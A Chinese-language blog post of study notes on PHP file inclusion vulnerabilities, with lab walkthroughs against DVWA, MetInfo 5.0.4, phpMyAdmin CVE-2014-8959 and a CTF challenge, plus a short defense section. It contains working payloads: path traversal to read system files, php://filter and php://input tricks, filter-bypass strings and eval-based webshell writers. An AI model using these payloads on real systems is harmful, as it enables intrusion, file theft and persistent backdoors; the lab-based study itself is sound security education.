文件包含学习笔记总结

文件包含概述

​ 程序开发人员通常会把可重复使用函数或语句写到单个文件中,形成"封装"。在使用某个功能的时候,直接调用此文件,无需再次编写,提高代码重用性,减少代码量。这种调用文件的过程通常称为包含。

​ 程序开发人员都希望代码更加灵活,所以会把被包含的文件的路径设置为变量,来进行动态调用(包含),但正是由于这种灵活性,如果被包含文件的路径客户端可控,造成任意文件包含漏洞。

​ 几乎所有的脚本都会提供文件包含的功能,文件包含漏洞在PHP 的Web 应用中居多,在JSP/ASP/ASP.NET 程序中比较少。

文件包含语句

PHP 提供了四个文件包含的语句,四个语句之间略有不同。

语句 区别
include() 多次包含,多次执行 如果包含失败,脚本产生警告,继续运行
include_once() 多次包含,一次执行 如果包含失败,脚本产生警告,继续运行
require() 多次包含,多次执行 如果包含失败,脚本产生错误,结束执行
require_once() 多次执行,一次执行 如果包含失败,脚本产生错误,结束执行

相关配置

文件包含是PHP 的基本功能之一,有本地文件包含与远程文件包含之分。简单来说,本地文件包含就是可以读取和打开本地文件,远程文件包含就是可以远程(方式)加载文件。可以通过php.ini 中的选项进行配置。

allow_url_fopen = On/Off # 通过远程方式打开文件
allow_url_include = On/Off # 通过远程方式包含文件

动态包含

示例代码

// file-include.php
$fp = @$_GET['filepath'];
@include $fp;

本地文件包含

本地文件包含(Local File Include,LFI)通过本地路径访问到的文件。

?filepath=../phpinfo.php

远程文件包含

远程文件包含(Remote File Include,RFI),通过远程路径访问到的文件。

?filepath=http://10.9.64.180/phpinfo.jpg

漏洞原理

漏洞原理

PHP 文件包含是程序设计的基础功能之一,能够减少代码量,提高开发效率。但是使用文件包含功能时,有类似于以上测试代码的设计,实现了动态包含,就有产生文件包含漏洞的风险。如果实现动态包含的参数,Web 应用没有进行严格的校验,浏览器客户端用户可以影响控制被包含文件的路径,就会产生任意文件包含漏洞。

特点

无视文件扩展名读取文件内容。

?filepath=./a.jpg

无条件解析PHP 代码,为图片木马提供了出路。

?filepath=a_yjh_info.jpg

文件包含攻防

利用方法

包含图片木马

菜刀直接连接

http://10.4.7.130/file-include/file-include.php?filepath=a_yjh_info.jpg

读取敏感文件

利用文件包含漏洞,也可以读取敏感文件。

前提条件:

  • 目标文件存在(已知目标文件路径);

  • 具有文件可读权限。

具体方法:

# 相对路径
?filepath=../../../../../../windows/system32/drivers/etc/hosts
# 绝对路径
?filepath=c:/windows/system32/drivers/etc/hosts
# 使用php 封装协议
?filepath=file://c:/windows/system32/drivers/etc/hosts

封装协议

封装协议 说明
file:// 访问本地文件系统
http:// 访问 HTTP(s) 网址
ftp:// 访问 FTP(s) URLs
php:// 访问各个输入/输出流(I/O streams)
zlib:// 压缩流
data:// 数据(RFC 2397)
glob:// 查找匹配的文件路径模式
phar:// PHP 归档
ssh2:// Secure Shell 2
rar:// RAR
ogg:// 音频流
expect:// 处理交互式的流

读取php文件源码

利用php://fileter 读取。

?filepath=php://filter/read=convert.base64-encode/resource=[目标文件]

读取结果:

PD9waHANCi8vIGZpbGUtaW5jbHVkZS5waHANCg0KJGZwID0gQCRfR0VUWydmaWxlcGF0aCddOw0KQGluY2x1ZGUgJGZwOw==

执行php命令

利用条件:

  • 利用php://input 执行PHP 命令;

  • 远程文件包含开启。

    POST /file-include/include.php?filepath=php://input HTTP/1.1
    Host: 192.168.111.15
    User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8
    Accept-Language: en-US,en;q=0.5
    Accept-Encoding: gzip, deflate
    Connection: close
    Cookie: PHPSESSID=q9lc0vlnggvo7kogh6j01a3582
    Upgrade-Insecure-Requests: 1
    Pragma: no-cache
    Cache-Control: no-cache
    Content-Length: 18

    <?php phpinfo();?>

包含图片马写shell

条件:

确定文件包含漏洞存在;

菜刀不能直接连接,需要使用文件包含新建的那个php文件进行连接

写Shell:

<?php fputs(fopen("shell.php",'w'),'<?=@eval($_REQUEST[777]);phpinfo();?>')?>
<?php file_put_contents('shell.php','<?php @eval($_REQUEST[777])?>')?>

利用:

http://10.9.47.217/test.php?filepath=shell.php

包含日志

Apache 日志:

访问日志

错误日志

Nginx 日志:

访问日志

错误日志

SSH 日志

邮件日志

经典案例

  • metinfo_5.0.4_lfi

  • dvwa_lfi_high_getshell

metinfo_5.0.4

漏洞位置

/about/index.php

源码

php 复制代码
<?php
# MetInfo Enterprise Content Management System 
# Copyright (C) MetInfo Co.,Ltd (http://www.metinfo.cn). All rights reserved. 
$filpy = basename(dirname(__FILE__));
$fmodule=1;
require_once '../include/module.php';
//echo $fmodule;
//echo "<hr >";
//echo $module;
require_once $module;
# This program is an open source system, commercial use, please consciously to purchase commercial license.
# Copyright (C) MetInfo Co., Ltd. (http://www.metinfo.cn). All rights reserved.
?>

可以看到有效代码总共四行,其中两行文件包含,第十行的文件包含为动态参数

输出一下$module变量看看

添加一条echo语句过后再访问,发现网页中回显出show.php

看看show.php的源码

php 复制代码
<?php
# MetInfo Enterprise Content Management System 
# Copyright (C) MetInfo Co.,Ltd (http://www.metinfo.cn). All rights reserved. 
require_once '../include/common.inc.php';
if(!$id && $class1)$id = $class1;
$show = $db->get_one("SELECT * FROM $met_column WHERE id=$id and module=1");
if(!$show||!$show['isshow']){
okinfo('../404.html');
}
$metaccess=$show[access];
if($show[classtype]==3){
$show3 = $db->get_one("SELECT * FROM $met_column WHERE id='$show[bigclass]'");
$class1=$show3[bigclass];
$class2=$show[bigclass];
$class3=$show[id];
}else{
$class1=$show[bigclass]?$show[bigclass]:$id;
$class2=$show[bigclass]?$id:"0";
$class3=0;
}

require_once '../include/head.php';
$class1_info=$class_list[$class1];
$class1_list=$class1_info;
$class2_info=$class_list[$class2];
$class3_info=$class_list[$class3];
$show[content]=contentshow('<div>'.$show[content].'</div>');
$show[description]=$show[description]?$show[description]:$met_keywords;
$show[keywords]=$show[keywords]?$show[keywords]:$met_keywords;
$met_title=$met_title?$show['name'].'-'.$met_title:$show['name'];
if($show['ctitle']!='')$met_title=$show['ctitle'];
require_once '../public/php/methtml.inc.php';
include template('show');
footer();
# This program is an open source system, commercial use, please consciously to purchase commercial license.
# Copyright (C) MetInfo Co., Ltd. (http://www.metinfo.cn). All rights reserved.
?>

其中有文件包含,但是并没有$module相关的参数

定位到index.php第六行文件包含位置看看内容

即 /module.php

在此页中搜索一下,找到第一次出现的位置

此段代码为if判断初始化代码,如果$fmodule不等于7则进入初始化,等于7则不进行初始化

php 复制代码
if($fmodule!=7){
	if($mdle==100)$mdle=3;
	if($mdle==101)$mdle=5;
	$module = $modulefname[$mdle][$mdtp];
	if($module==NULL){okinfo('../404.html');exit();}
	if($mdle==2||$mdle==3||$mdle==4||$mdle==5||$mdle==6){
		if($fmodule==$mdle){
			$module = $modulefname[$mdle][$mdtp];
		}
		else{
			okinfo('../404.html');exit();
		}
	}
	else{
		if($list){
			okinfo('../404.html');exit();
		}
		else{
			$module = $modulefname[$mdle][$mdtp];
		}
	}
	if($mdle==8){
	if(!$id)$id=$class1;
	$module = '../feedback/index.php';
	}
}

于是可以将fmodule的值设置为7,然后控制module的值进行操作

fmodule的值为非7时

fmodule的值为7时

调整module的值为读取hosts文件

http://10.4.7.165/metinfo_5.0.4/about/index.php?fmodule=7&module=c://windows/system32/drivers/etc/hosts

http://10.4.7.165/metinfo_5.0.4/about/index.php?fmodule=7&module=../../../../../../windows/system32/drivers/etc/hosts

可以进行读取

为什么此处可以使用get传参将值传递给这两个参数,module.php页中并没有接受传参的代码?

定位到该页首部会发现一个文件包含

本页中该段代码是接受传参的

php 复制代码
foreach(array('_COOKIE', '_POST', '_GET') as $_request) {
	foreach($$_request as $_key => $_value) {
		$_key{0} != '_' && $$_key = daddslashes($_value);
	}
}

添加一条输出后就能看到键值对

dvwa

low

源码

php 复制代码
<?php

// The page we wish to display
$file = $_GET[ 'page' ];

?> 

构造url

http://10.9.47.221/dvwa_2.0.1/vulnerabilities/fi/?page=c:\\windows\system32\drivers\etc\hosts
medium

源码

php 复制代码
<?php

// The page we wish to display
$file = $_GET[ 'page' ];

// Input validation
$file = str_replace( array( "http://", "https://" ), "", $file );
$file = str_replace( array( "../", "..\"" ), "", $file );

?> 

读代码可知,http头和.../ ...\被过滤了

首先可以使用绝对路径

http://10.9.47.221/dvwa_2.0.1/vulnerabilities/fi/?page=c:\\windows\system32\drivers\etc\hosts

使用http的话,可以进行双写绕过

http://10.9.47.221/dvwa_2.0.1/vulnerabilities/fi/?page=hthttp://tp://10.9.47.221/phpinfo.php

使用相对路径时

http://10.9.47.221/dvwa_2.0.1/vulnerabilities/fi/?page=/..././..././..././..././..././..././..././windows/system32/drivers/etc/hosts
high

源码

php 复制代码
<?php

// The page we wish to display
$file = $_GET[ 'page' ];

// Input validation
if( !fnmatch( "file*", $file ) && $file != "include.php" ) {
    // This isn't the page we want!
    echo "ERROR: File not found!";
    exit;
}

?> 

代码可知,如果不以file开头,并且不是include.php的话,就会报错,因此构造一个伪协议file开头的url

http://10.9.47.221/dvwa_2.0.1/vulnerabilities/fi/?page=file:///c://windows/system32/drivers/etc/hosts

文件包含防御

  • 尽量少的使用动态包含;

  • 严格过滤被包含文件的路径;

  • 将参数allow_url_include 设置为Off;

  • 使用参数open_basedir 限定文件访问范围。

    open_basedir = c:\phpstudy_2016\www\

扩展1-phpmyadmin 文件包含(CVE-2014-8959)

构造poc

http://10.9.47.235:50614/pma/gis_data_editor.php?token=012ecd10f47ae9c1efaa4cafefa51d11&&gis_data[gis_type]=/../../../../1.gif%00

以post方式提交

成功获取phpinfo

扩展2 01ctfer_afr1

先读取一下flag

发现nonono

但是证明应该有这个文件

使用base64读取flag

http://10.4.7.137/?p=php://filter/read=convert.base64-encode/resource=flag

得到

PD9waHAKZGllKCdubyBubyBubycpOwovL24xYm9va3thZnJfMV9zb2x2ZWR9

解码

得到flag

n1book{afr_1_solved}
相关推荐
HackKong13 分钟前
小白怎样入门网络安全?
网络·学习·安全·web安全·网络安全·黑客
打码人的日常分享17 分钟前
商用密码应用安全性评估,密评整体方案,密评管理测评要求和指南,运维文档,软件项目安全设计相关文档合集(Word原件)
运维·安全·web安全·系统安全·规格说明书
爱吃奶酪的松鼠丶17 分钟前
Web安全之XSS攻击的防范
安全·web安全·xss
东莞梦幻网络科技软件开发公司20 分钟前
开发体育赛事直播平台防止数据泄露的技术安全方案
经验分享·安全
vmlogin虚拟多登浏览器23 分钟前
虚拟浏览器可以应对哪些浏览器安全威胁?
服务器·网络·安全·跨境电商·防关联
澜世33 分钟前
2024小迪安全基础入门第三课
网络·笔记·安全·网络安全
Bald Baby34 分钟前
JWT的使用
java·笔记·学习·servlet
心怀梦想的咸鱼1 小时前
UE5 第一人称射击项目学习(四)
学习·ue5
AI完全体1 小时前
【AI日记】24.11.22 学习谷歌数据分析初级课程-第2/3课
学习·数据分析
rellvera2 小时前
【强化学习的数学原理】第02课-贝尔曼公式-笔记
笔记·机器学习